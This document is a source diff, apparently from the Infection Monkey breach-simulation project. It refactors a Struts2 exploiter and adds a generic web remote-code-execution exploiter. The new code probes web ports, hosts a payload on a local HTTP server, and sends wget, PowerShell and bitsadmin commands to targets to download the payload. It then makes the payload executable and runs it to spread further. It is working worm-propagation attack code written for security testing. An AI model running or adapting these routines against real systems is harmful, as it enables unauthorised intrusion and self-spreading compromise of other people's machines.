diff --git a/infection_monkey/exploit/struts2.py b/infection_monkey/exploit/struts2.py index 3a08d0487..c489a3784 100644 --- a/infection_monkey/exploit/struts2.py +++ b/infection_monkey/exploit/struts2.py @@ -12,7 +12,7 @@ import logging from exploit import HostExploiter from exploit.tools import get_target_monkey, get_monkey_depth from tools import build_monkey_commandline, HTTPTools -from model import CHECK_LINUX, CHECK_WINDOWS, POWERSHELL_HTTP, WGET_HTTP, EXISTS, ID_STRING, RDP_CMDLINE_HTTP, \ +from model import CHECK_COMMAND, POWERSHELL_HTTP_UPLOAD, WGET_HTTP_UPLOAD, ID_STRING, RDP_CMDLINE_HTTP, \ DROPPER_ARG __author__ = "VakarisZ" @@ -21,6 +21,9 @@ LOG = logging.getLogger(__name__) DOWNLOAD_TIMEOUT = 300 +# Commands used to check if monkeys already exists +FIND_FILE = "ls %s" + class Struts2Exploiter(HostExploiter): _TARGET_OS_TYPE = ['linux', 'windows'] @@ -56,7 +59,7 @@ class Struts2Exploiter(HostExploiter): return self.exploit_windows(url, [dropper_path_win_32, dropper_path_win_64]) def check_remote_file(self, host, path): - command = EXISTS % path + command = FIND_FILE % path resp = self.exploit(host, command) if 'No such file' in resp: return False @@ -88,7 +91,7 @@ class Struts2Exploiter(HostExploiter): cmdline = build_monkey_commandline(self.host, get_monkey_depth() - 1, dropper_path) - command = WGET_HTTP % {'monkey_path': dropper_path, + command = WGET_HTTP_UPLOAD % {'monkey_path': dropper_path, 'http_path': http_path, 'parameters': cmdline} self.exploit(url, command) @@ -138,7 +141,7 @@ class Struts2Exploiter(HostExploiter): # We need to double escape backslashes. Once for payload, twice for command cmdline = re.sub(r"\\", r"\\\\", build_monkey_commandline(self.host, get_monkey_depth() - 1, dropper_path)) - command = POWERSHELL_HTTP % {'monkey_path': re.sub(r"\\", r"\\\\", dropper_path), + command = POWERSHELL_HTTP_UPLOAD % {'monkey_path': re.sub(r"\\", r"\\\\", dropper_path), 'http_path': http_path, 'parameters': cmdline} backup_command = RDP_CMDLINE_HTTP % {'monkey_path': re.sub(r"\\", r"\\\\", dropper_path), @@ -159,7 +162,7 @@ class Struts2Exploiter(HostExploiter): @staticmethod def check_exploit_windows(url): - resp = Struts2Exploiter.exploit(url, CHECK_WINDOWS) + resp = Struts2Exploiter.exploit(url, CHECK_COMMAND) if resp and ID_STRING in resp: if "64-bit" in resp: return "64" @@ -170,7 +173,7 @@ class Struts2Exploiter(HostExploiter): @staticmethod def check_exploit_linux(url): - resp = Struts2Exploiter.exploit(url, CHECK_LINUX) + resp = Struts2Exploiter.exploit(url, CHECK_COMMAND) if resp and ID_STRING in resp: # Pulls architecture string arch = re.search('(?<=Architecture:)\s+(\w+)', resp) diff --git a/infection_monkey/exploit/tools.py b/infection_monkey/exploit/tools.py index dbbd8070a..08cc94af1 100644 --- a/infection_monkey/exploit/tools.py +++ b/infection_monkey/exploit/tools.py @@ -21,7 +21,8 @@ import monkeyfs from network import local_ips from network.firewall import app as firewall from network.info import get_free_tcp_port, get_routes -from transport import HTTPServer +from transport import HTTPServer, LockedHTTPServer +from threading import Lock class DceRpcException(Exception): @@ -386,6 +387,35 @@ class HTTPTools(object): return "http://%s:%s/%s" % (local_ip, local_port, urllib.quote(os.path.basename(src_path))), httpd + @staticmethod + def create_locked_transfer(host, src_path, local_ip=None, local_port=None): + """ + Create http server for file transfer with a lock + :param host: Variable with target's information + :param src_path: Monkey's path on current system + :param local_ip: IP where to host server + :param local_port: Port at which to host monkey's download + :return: Server address in http://%s:%s/%s format and LockedHTTPServer handler + """ + # To avoid race conditions we pass a locked lock to http servers thread + lock = Lock() + lock.acquire() + if not local_port: + local_port = get_free_tcp_port() + + if not local_ip: + local_ip = get_interface_to_target(host.ip_addr) + + if not firewall.listen_allowed(): + return None, None + + httpd = LockedHTTPServer(local_ip, local_port, src_path, lock) + + httpd.daemon = True + httpd.start() + lock.acquire() + return "http://%s:%s/%s" % (local_ip, local_port, urllib.quote(os.path.basename(src_path))), httpd + def get_interface_to_target(dst): if sys.platform == "win32": @@ -481,3 +511,30 @@ def get_binaries_dir_path(): def get_monkey_depth(): from config import WormConfiguration return WormConfiguration.depth + + +def get_monkey_dest_path(url_to_monkey): + """ + Gets destination path from source path. + :param url_to_monkey: Hosted monkey's url. egz : http://localserver:9999/monkey/windows-32.exe + :return: Corresponding monkey path from configuration + """ + from config import WormConfiguration + if not url_to_monkey or ('linux' not in url_to_monkey and 'windows' not in url_to_monkey): + LOG.error("Can't get destination path because source path %s is invalid.", url_to_monkey) + return False + try: + if 'linux' in url_to_monkey: + return WormConfiguration.dropper_target_path_linux + elif 'windows-32' in url_to_monkey: + return WormConfiguration.dropper_target_path_win_32 + elif 'windows-64' in url_to_monkey: + return WormConfiguration.dropper_target_path_win_64 + else: + LOG.error("Could not figure out what type of monkey server was trying to upload, " + "thus destination path can not be chosen.") + return False + except AttributeError: + LOG.error("Seems like monkey's source configuration property names changed. " + "Can not get destination path to upload monkey") + return False diff --git a/infection_monkey/exploit/web_rce.py b/infection_monkey/exploit/web_rce.py new file mode 100644 index 000000000..0b4d041a1 --- /dev/null +++ b/infection_monkey/exploit/web_rce.py @@ -0,0 +1,441 @@ +import logging + +from exploit import HostExploiter +from model import * +from posixpath import join +import re +from abc import abstractmethod +from exploit.tools import get_target_monkey, get_monkey_depth, build_monkey_commandline, HTTPTools +from network.tools import check_tcp_port, tcp_port_to_service + +__author__ = 'VakarisZ' + +LOG = logging.getLogger(__name__) +# Command used to check if monkeys already exists +LOOK_FOR_FILE = "ls %s" +POWERSHELL_NOT_FOUND = "owershell is not recognized" +# Constants used to refer to windows architectures( used in host.os['machine']) +WIN_ARCH_32 = "32" +WIN_ARCH_64 = "64" + + +class WebRCE(HostExploiter): + + def __init__(self, host, monkey_target_paths): + """ + :param host: Host that we'll attack + :param monkey_target_paths: Where to upload the monkey at the target host system. + Dict in format {'linux': '/tmp/monkey.sh', 'win32': './monkey32.exe', 'win64':... } + """ + super(WebRCE, self).__init__(host) + self._config = __import__('config').WormConfiguration + if monkey_target_paths: + self.monkey_target_paths = monkey_target_paths + else: + self.monkey_target_paths = {'linux': self._config.dropper_target_path_linux, + 'win32': self._config.dropper_target_path_win_32, + 'win64': self._config.dropper_target_path_win_64} + self.HTTP = [str(port) for port in self._config.HTTP_PORTS] + self.skip_exist = self._config.skip_exploit_if_file_exist + + def get_exploit_config(self): + """ + Method that creates a dictionary of configuration values for exploit + :return: configuration dict + """ + exploit_config = dict() + + # dropper: If true monkey will use dropper parameter that will detach monkey's process and try to copy + # it's file to the default destination path. + exploit_config['dropper'] = False + + # upload_commands: Unformatted dict with one or two commands {'linux': WGET_HTTP_UPLOAD,'windows': WIN_CMD} + # Command must have "monkey_path" and "http_path" format parameters. If None defaults will be used. + exploit_config['upload_commands'] = None + + # url_extensions: What subdirectories to scan (www.domain.com[/extension]). Eg. ["home", "index.php"] + exploit_config['url_extensions'] = None + + # stop_checking_urls: If true it will stop checking vulnerable urls once one was found vulnerable. + exploit_config['stop_checking_urls'] = False + + # blind_exploit: If true we won't check if file exist and won't try to get the architecture of target. + exploit_config['blind_exploit'] = False + + return exploit_config + + def exploit_host(self): + """ + Method that contains default exploitation workflow + :return: True if exploited, False otherwise + """ + # We get exploit configuration + exploit_config = self.get_exploit_config() + # Get open ports + ports = self.get_ports_w(self.HTTP, ["http"]) + if not ports: + return False + # Get urls to try to exploit + urls = self.build_potential_urls(ports, exploit_config['url_extensions']) + vulnerable_urls = [] + for url in urls: + if self.check_if_exploitable(url): + vulnerable_urls.append(url) + if exploit_config['stop_checking_urls']: + break + self._exploit_info['vulnerable_urls'] = vulnerable_urls + + if not vulnerable_urls: + return False + + # Skip if monkey already exists and this option is given + if not exploit_config['blind_exploit'] and self.skip_exist and self.check_remote_files(vulnerable_urls[0]): + LOG.info("Host %s was already infected under the current configuration, done" % self.host) + return True + + # Check for targets architecture (if it's 32 or 64 bit) + if not exploit_config['blind_exploit'] and not self.set_host_arch(vulnerable_urls[0]): + return False + + # Upload the right monkey to target + data = self.upload_monkey(vulnerable_urls[0], exploit_config['upload_commands']) + + if data is not False and data['response'] is False: + return False + + # Change permissions to transform monkey into executable file + if self.change_permissions(vulnerable_urls[0], data['path']) is False: + return False + + # Execute remote monkey + if self.execute_remote_monkey(vulnerable_urls[0], data['path'], exploit_config['dropper']) is False: + return False + + return True + + @abstractmethod + def exploit(self, url, command): + """ + A reference to a method which implements web exploit logic. + :param url: Url to send malicious packet to. Format: [http/https]://ip:port/extension. + :param command: Command which will be executed on remote host + :return: RCE's output/True if successful or False if failed + """ + raise NotImplementedError() + + def get_open_service_ports(self, port_list, names): + """ + :param port_list: Potential ports to exploit. For example _config.HTTP_PORTS + :param names: [] of service names. Example: ["http"] + :return: Returns all open ports from port list that are of service names + """ + candidate_services = {} + candidate_services.update({ + service: self.host.services[service] for service in self.host.services if + (self.host.services[service] and self.host.services[service]['name'] in names) + }) + + valid_ports = [(port, candidate_services['tcp-' + str(port)]['data'][1]) for port in port_list if + tcp_port_to_service(port) in candidate_services] + + return valid_ports + + def check_if_port_open(self, port): + is_open, _ = check_tcp_port(self.host.ip_addr, port) + if not is_open: + LOG.info("Port %d is closed on %r, skipping", port, self.host) + return False + return True + + def get_command(self, path, http_path, commands): + try: + if 'linux' in self.host.os['type']: + command = commands['linux'] + else: + command = commands['windows'] + # Format command + command = command % {'monkey_path': path, 'http_path': http_path} + except KeyError: + LOG.error("Provided command is missing/bad for this type of host! " + "Check upload_monkey function docs before using custom monkey's upload commands.") + return False + return command + + def check_if_exploitable(self, url): + """ + Checks if target is exploitable by interacting with url + :param url: Url to exploit + :return: True if exploitable and false if not + """ + try: + resp = self.exploit(url, CHECK_COMMAND) + if resp is True: + return True + elif resp is not False and ID_STRING in resp: + return True + else: + return False + except Exception as e: + LOG.error("Host's exploitability check failed due to: %s" % e) + return False + + def build_potential_urls(self, ports, extensions=None): + """ + :param ports: Array of ports. One port is described as size 2 array: [port.no(int), isHTTPS?(bool)] + Eg. ports: [[80, False], [443, True]] + :param extensions: What subdirectories to scan. www.domain.com[/extension] + :return: Array of url's to try and attack + """ + url_list = [] + if extensions: + extensions = [(e[1:] if '/' == e[0] else e) for e in extensions] + else: + extensions = [""] + for port in ports: + for extension in extensions: + if port[1]: + protocol = "https" + else: + protocol = "http" + url_list.append(join(("%s://%s:%s" % (protocol, self.host.ip_addr, port[0])), extension)) + if not url_list: + LOG.info("No attack url's were built") + return url_list + + def get_host_arch(self, url): + """ + :param url: Url for exploiter to use + :return: Machine architecture string or false. Eg. 'i686', '64', 'x86_64', ... + """ + if 'linux' in self.host.os['type']: + resp = self.exploit(url, GET_ARCH_LINUX) + if resp: + # Pulls architecture string + arch = re.search('(?<=Architecture:)\s+(\w+)', resp) + try: + arch = arch.group(1) + except AttributeError: + LOG.error("Looked for linux architecture but could not find it") + return False + if arch: + return arch + else: + LOG.info("Could not pull machine architecture string from command's output") + return False + else: + return False + else: + resp = self.exploit(url, GET_ARCH_WINDOWS) + if resp: + if "64-bit" in resp: + return WIN_ARCH_64 + else: + return WIN_ARCH_32 + else: + return False + + def check_remote_monkey_file(self, url, path): + command = LOOK_FOR_FILE % path + resp = self.exploit(url, command) + if 'No such file' in resp: + return False + else: + LOG.info("Host %s was already infected under the current configuration, done" % host) + return True + + def check_remote_files(self, url): + """ + :param url: Url for exploiter to use + :return: True if at least one file is found, False otherwise + """ + paths = [] + if 'linux' in self.host.os['type']: + paths.append(self.monkey_target_paths['linux']) + else: + paths.extend([self.monkey_target_paths['win32'], self.monkey_target_paths['win64']]) + for path in paths: + if self.check_remote_monkey_file(url, path): + return True + return False + + # Wrapped functions: + def get_ports_w(self, ports, names): + """ + Get ports wrapped with log + :param ports: Potential ports to exploit. For example WormConfiguration.HTTP_PORTS + :param names: [] of service names. Example: ["http"] + :return: Array of ports: [[80, False], [443, True]] or False. Port always consists of [ port.nr, IsHTTPS?] + """ + ports = self.get_open_service_ports(ports, names) + if not ports: + LOG.info("All default web ports are closed on %r, skipping", host) + return False + else: + return ports + + def set_host_arch(self, url): + arch = self.get_host_arch(url) + if not arch: + LOG.error("Couldn't get host machine's architecture") + return False + else: + self.host.os['machine'] = arch + return True + + def upload_monkey(self, url, commands=None): + """ + :param url: Where exploiter should send it's request + :param commands: Unformatted dict with one or two commands {'linux': LIN_CMD, 'windows': WIN_CMD} + Command must have "monkey_path" and "http_path" format parameters. + :return: {'response': response/False, 'path': monkeys_path_in_host} + """ + LOG.info("Trying to upload monkey to the host.") + src_path = get_target_monkey(self.host) + if not src_path: + LOG.info("Can't find suitable monkey executable for host %r", host) + return False + # Determine which destination path to use + LOG.debug("Monkey path found") + path = self.get_monkey_upload_path(src_path) + if not path: + return False + # Create server for http download and wait for it's startup. + http_path, http_thread = HTTPTools.create_locked_transfer(self.host, src_path) + if not http_path: + LOG.debug("Exploiter failed, http transfer creation failed.") + return False + LOG.info("Started http server on %s", http_path) + if not self.host.os['type']: + LOG.error("Unknown target's os type. Skipping.") + return False + # Choose command: + if not commands: + commands = {'windows': POWERSHELL_HTTP_UPLOAD, 'linux': WGET_HTTP_UPLOAD} + command = self.get_command(path, http_path, commands) + + resp = self.exploit(url, command) + + if not isinstance(resp, bool) and POWERSHELL_NOT_FOUND in resp: + LOG.info("Powershell not found in host. Using bitsadmin to download.") + backup_command = RDP_CMDLINE_HTTP % {'monkey_path': path, 'http_path': http_path} + resp = self.exploit(url, backup_command) + http_thread.join(DOWNLOAD_TIMEOUT) + http_thread.stop() + LOG.info("Uploading process finished") + return {'response': resp, 'path': path} + + def change_permissions(self, url, path, command=None): + """ + Method for linux hosts. Makes monkey executable + :param url: Where to send malicious packets + :param path: Path to monkey on remote host + :param command: Formatted command for permission change or None + :return: response, False if failed and True if permission change is not needed + """ + LOG.info("Changing monkey's permissions") + if 'windows' in self.host.os['type']: + LOG.info("Permission change not required for windows") + return True + if not command: + command = CHMOD_MONKEY % {'monkey_path': path} + try: + resp = self.exploit(url, command) + except Exception as e: + LOG.error("Something went wrong while trying to change permission: %s" % e) + return False + # If exploiter returns True / False + if type(resp) is bool: + LOG.info("Permission change finished") + return resp + # If exploiter returns command output, we can check for execution errors + if 'Operation not permitted' in resp: + LOG.error("Missing permissions to make monkey executable") + return False + elif 'No such file or directory' in resp: + LOG.error("Could not change permission because monkey was not found. Check path parameter.") + return False + LOG.info("Permission change finished") + return resp + + def execute_remote_monkey(self, url, path, dropper=False): + """ + This method executes remote monkey + :param url: Where to send malicious packets + :param path: Path to monkey on remote host + :param dropper: Should remote monkey be executed with dropper or with monkey arg? + :return: Response or False if failed + """ + LOG.info("Trying to execute remote monkey") + # Get monkey command line + if dropper and path: + # If dropper is chosen we try to move monkey to default location + default_path = self.get_default_dropper_path() + if default_path is False: + return False + monkey_cmd = build_monkey_commandline(self.host, get_monkey_depth() - 1, default_path) + command = RUN_MONKEY % {'monkey_path': path, 'monkey_type': DROPPER_ARG, 'parameters': monkey_cmd} + else: + monkey_cmd = build_monkey_commandline(self.host, get_monkey_depth() - 1) + command = RUN_MONKEY % {'monkey_path': path, 'monkey_type': MONKEY_ARG, 'parameters': monkey_cmd} + try: + resp = self.exploit(url, command) + # If exploiter returns True / False + if type(resp) is bool: + LOG.info("Execution attempt successfully finished") + return resp + # If exploiter returns command output, we can check for execution errors + if 'is not recognized' in resp or 'command not found' in resp: + LOG.error("Wrong path chosen or other process already deleted monkey") + return False + elif 'The system cannot execute' in resp: + LOG.error("System could not execute monkey") + return False + except Exception as e: + LOG.error("Something went wrong when trying to execute remote monkey: %s" % e) + return False + LOG.info("Execution attempt finished") + return resp + + def get_monkey_upload_path(self, url_to_monkey): + """ + Gets destination path from one of WEB_RCE predetermined paths(self.monkey_target_paths). + :param url_to_monkey: Hosted monkey's url. egz : http://localserver:9999/monkey/windows-32.exe + :return: Corresponding monkey path from self.monkey_target_paths + """ + if not url_to_monkey or ('linux' not in url_to_monkey and 'windows' not in url_to_monkey): + LOG.error("Can't get destination path because source path %s is invalid.", url_to_monkey) + return False + try: + if 'linux' in url_to_monkey: + return self.monkey_target_paths['linux'] + elif 'windows-32' in url_to_monkey: + return self.monkey_target_paths['win32'] + elif 'windows-64' in url_to_monkey: + return self.monkey_target_paths['win64'] + else: + LOG.error("Could not figure out what type of monkey server was trying to upload, " + "thus destination path can not be chosen.") + return False + except KeyError: + LOG.error("Unknown key was found. Please use \"linux\", \"win32\" and \"win64\" keys to initialize " + "custom dict of monkey's destination paths") + return False + + def get_default_dropper_path(self): + """ + Gets default dropper path for the host. + :return: Default monkey's destination path for corresponding host or False if failed. + E.g. config.dropper_target_path_linux(/tmp/monkey.sh) for linux host + """ + if not self.host.os.get('type') or (self.host.os['type'] != 'linux' and self.host.os['type'] != 'windows'): + LOG.error("Target's OS was either unidentified or not supported. Aborting") + return False + if self.host.os['type'] == 'linux': + return self._config.dropper_target_path_linux + if self.host.os['type'] == 'windows': + try: + if self.host.os['machine'] == WIN_ARCH_64: + return self._config.dropper_target_path_win_64 + except KeyError: + LOG.debug("Target's machine type was not set. Using win-32 dropper path.") + return self._config.dropper_target_path_win_32 diff --git a/infection_monkey/model/__init__.py b/infection_monkey/model/__init__.py index a2a1e18bb..4a8218a2e 100644 --- a/infection_monkey/model/__init__.py +++ b/infection_monkey/model/__init__.py @@ -17,13 +17,15 @@ RDP_CMDLINE_HTTP_VBS = 'set o=!TMP!\!RANDOM!.tmp&@echo Set objXMLHTTP=CreateObje DELAY_DELETE_CMD = 'cmd /c (for /l %%i in (1,0,2) do (ping -n 60 127.0.0.1 & del /f /q %(file_path)s & if not exist %(file_path)s exit)) > NUL 2>&1' # Commands used for downloading monkeys -POWERSHELL_HTTP = "powershell -NoLogo -Command \"Invoke-WebRequest -Uri \\\'%%(http_path)s\\\' -OutFile \\\'%%(monkey_path)s\\\' -UseBasicParsing; %%(monkey_path)s %s %%(parameters)s\"" % (DROPPER_ARG, ) -WGET_HTTP = "wget -O %%(monkey_path)s %%(http_path)s && chmod +x %%(monkey_path)s && %%(monkey_path)s %s %%(parameters)s" % (DROPPER_ARG, ) -RDP_CMDLINE_HTTP = 'bitsadmin /transfer Update /download /priority high %%(http_path)s %%(monkey_path)s&&start /b %%(monkey_path)s %%(type)s %%(parameters)s' - +POWERSHELL_HTTP_UPLOAD = "powershell -NoLogo -Command \"Invoke-WebRequest -Uri \'%(http_path)s\' -OutFile \'%(monkey_path)s\' -UseBasicParsing\"" +WGET_HTTP_UPLOAD = "wget -O %(monkey_path)s %(http_path)s" +RDP_CMDLINE_HTTP = 'bitsadmin /transfer Update /download /priority high %(http_path)s %(monkey_path)s' +CHMOD_MONKEY = "chmod +x %(monkey_path)s" +RUN_MONKEY = " %(monkey_path)s %(monkey_type)s %(parameters)s" # Commands used to check for architecture and if machine is exploitable -CHECK_WINDOWS = "echo %s && wmic os get osarchitecture" % ID_STRING -CHECK_LINUX = "echo %s && lscpu" % ID_STRING +CHECK_COMMAND = "echo %s" % ID_STRING +# Architecture checking commands +GET_ARCH_WINDOWS = "wmic os get osarchitecture" +GET_ARCH_LINUX = "lscpu" -# Commands used to check if monkeys already exists -EXISTS = "ls %s" \ No newline at end of file +DOWNLOAD_TIMEOUT = 300 \ No newline at end of file diff --git a/infection_monkey/network/tcp_scanner.py b/infection_monkey/network/tcp_scanner.py index e291e8d3e..625173e97 100644 --- a/infection_monkey/network/tcp_scanner.py +++ b/infection_monkey/network/tcp_scanner.py @@ -2,7 +2,7 @@ from itertools import izip_longest from random import shuffle from network import HostScanner, HostFinger -from network.tools import check_tcp_ports +from network.tools import check_tcp_ports, tcp_port_to_service __author__ = 'itamar' @@ -31,7 +31,7 @@ class TcpScanner(HostScanner, HostFinger): ports, banners = check_tcp_ports(host.ip_addr, target_ports, self._config.tcp_scan_timeout / 1000.0, self._config.tcp_scan_get_banner) for target_port, banner in izip_longest(ports, banners, fillvalue=None): - service = 'tcp-' + str(target_port) + service = tcp_port_to_service(target_port) host.services[service] = {} if banner: host.services[service]['banner'] = banner diff --git a/infection_monkey/network/tools.py b/infection_monkey/network/tools.py index 5053b6c32..303b0dd8f 100644 --- a/infection_monkey/network/tools.py +++ b/infection_monkey/network/tools.py @@ -154,3 +154,7 @@ def check_tcp_ports(ip, ports, timeout=DEFAULT_TIMEOUT, get_banner=False): except socket.error as exc: LOG.warning("Exception when checking ports on host %s, Exception: %s", str(ip), exc) return [], [] + + +def tcp_port_to_service(port): + return 'tcp-' + str(port) diff --git a/infection_monkey/transport/__init__.py b/infection_monkey/transport/__init__.py index 14a0d68b2..d0408a309 100644 --- a/infection_monkey/transport/__init__.py +++ b/infection_monkey/transport/__init__.py @@ -1,3 +1,3 @@ -from http import HTTPServer +from http import HTTPServer, LockedHTTPServer __author__ = 'hoffer' diff --git a/infection_monkey/transport/http.py b/infection_monkey/transport/http.py index 8d07fd155..72664f0ab 100644 --- a/infection_monkey/transport/http.py +++ b/infection_monkey/transport/http.py @@ -6,6 +6,7 @@ import threading import urllib from logging import getLogger from urlparse import urlsplit +from threading import Lock import monkeyfs from base import TransportProxyBase, update_last_serve_time @@ -183,6 +184,48 @@ class HTTPServer(threading.Thread): self.join(timeout) +class LockedHTTPServer(threading.Thread): + """ + Same as HTTPServer used for file downloads just with locks to avoid racing conditions. + You create a lock instance and pass it to this server's constructor. Then acquire the lock + before starting the server and after it. Once the server starts it will release the lock + and subsequent code will be able to continue to execute. That way subsequent code will + always call already running HTTP server + """ + # Seconds to wait until server stops + STOP_TIMEOUT = 5 + + def __init__(self, local_ip, local_port, filename, lock, max_downloads=1): + self._local_ip = local_ip + self._local_port = local_port + self._filename = filename + self.max_downloads = max_downloads + self.downloads = 0 + self._stopped = False + self.lock = lock + threading.Thread.__init__(self) + + def run(self): + class TempHandler(FileServHTTPRequestHandler): + filename = self._filename + + @staticmethod + def report_download(dest=None): + LOG.info('File downloaded from (%s,%s)' % (dest[0], dest[1])) + self.downloads += 1 + + httpd = BaseHTTPServer.HTTPServer((self._local_ip, self._local_port), TempHandler) + self.lock.release() + while not self._stopped and self.downloads < self.max_downloads: + httpd.handle_request() + + self._stopped = True + + def stop(self, timeout=STOP_TIMEOUT): + self._stopped = True + self.join(timeout) + + class HTTPConnectProxy(TransportProxyBase): def run(self): httpd = BaseHTTPServer.HTTPServer((self.local_host, self.local_port), HTTPConnectProxyHandler)